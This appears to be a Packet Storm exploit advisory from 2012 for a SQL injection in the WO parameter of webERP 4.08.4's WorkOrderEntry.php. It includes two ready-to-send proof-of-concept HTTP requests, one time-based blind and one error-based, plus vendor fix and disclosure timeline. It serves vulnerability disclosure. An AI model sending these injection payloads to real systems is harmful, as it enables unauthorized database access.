what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

webERP 4.08.4 SQL Injection

webERP 4.08.4 SQL Injection
Posted Sep 17, 2012
Authored by modpr0be

webERP versions 4.08.4 and below suffer from a remote SQL injection vulnerability in WorkOrderEntry.php.

tags | exploit, remote, php, sql injection
SHA-256 | 6a3662b7c29717d2a88024524394dbdf12cf57e1da607c8a6457fcc3b5244904

webERP 4.08.4 SQL Injection

Change Mirror Download
# Exploit Title: webERP <=4.08.4 WorkOrderEntry.php SQL Injection Vulnerability
# Date: 14/09/2012
# Exploit Author: modpr0be (modpr0be[at]spentera.com)
# Vendor Homepage: http://www.weberp.org
# Software Link: http://sourceforge.net/projects/web-erp/files/
# Version: 4.08.4
# Tested on: Windows 2003 Standard Edition, XAMPP 1.7.4 (Default Config)
# CVE: -

# Software Description
# webERP is a mature open-source ERP system providing best practise, multi-user business
# administration and accounting tools over the web.

# Vulnerability Overview
# webERP is vulnerable to SQL Injection vulnerability in the WorkOrderEntry.php within the WO parameter.
# Due tue unvalidated input, when the single quote is inserted the web application throw a database error
# message that indicated a SQL Injection is exist.
# Another test was performed and indicated that the WO parameter is also vulnerable to time-based blind sql injection.
# However, the attacker must be in authenticated session to exploit the vulnerability.

# POC (authenticated session needed):
# Time-based Blind SQL Injection
POST /weberp/WorkOrderEntry.php HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=n9g1ts0s7oigk88eto8f8nm111
Content-Type: application/x-www-form-urlencoded
Content-Length: 207
FormID=ff60696dab6b35c56558628b7237a624be19ad11&WO=33' AND SLEEP(5) AND '1'='1&StockLocation=MEL&StartDate=14%2F09%2F2012&RequiredBy=14%2F09%2F2012&NumberOfOutputs=0&submit=&StockCat=All&Keywords=&StockCode=

# Error-based SQL Injection
POST /weberp/WorkOrderEntry.php HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=n9g1ts0s7oigk88eto8f8nm111
Content-Type: application/x-www-form-urlencoded
Content-Length: 207
FormID=ff60696dab6b35c56558628b7237a624be19ad11&WO=33'&StockLocation=MEL&StartDate=14%2F09%2F2012&RequiredBy=14%2F09%2F2012&NumberOfOutputs=0&submit=&StockCat=All&Keywords=&StockCode=

# Solution
# Upgrade to latest version here: http://sourceforge.net/projects/web-erp/

# Vendor Contact Log
08/29/2012 - Bug found, submitted to Bug Report
08/29/2012 - Vendor fix the bug, and request testing on patch version
09/03/2012 - Confirm no vulnerablity found.
09/11/2012 - webERP 4.08.5 released.

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close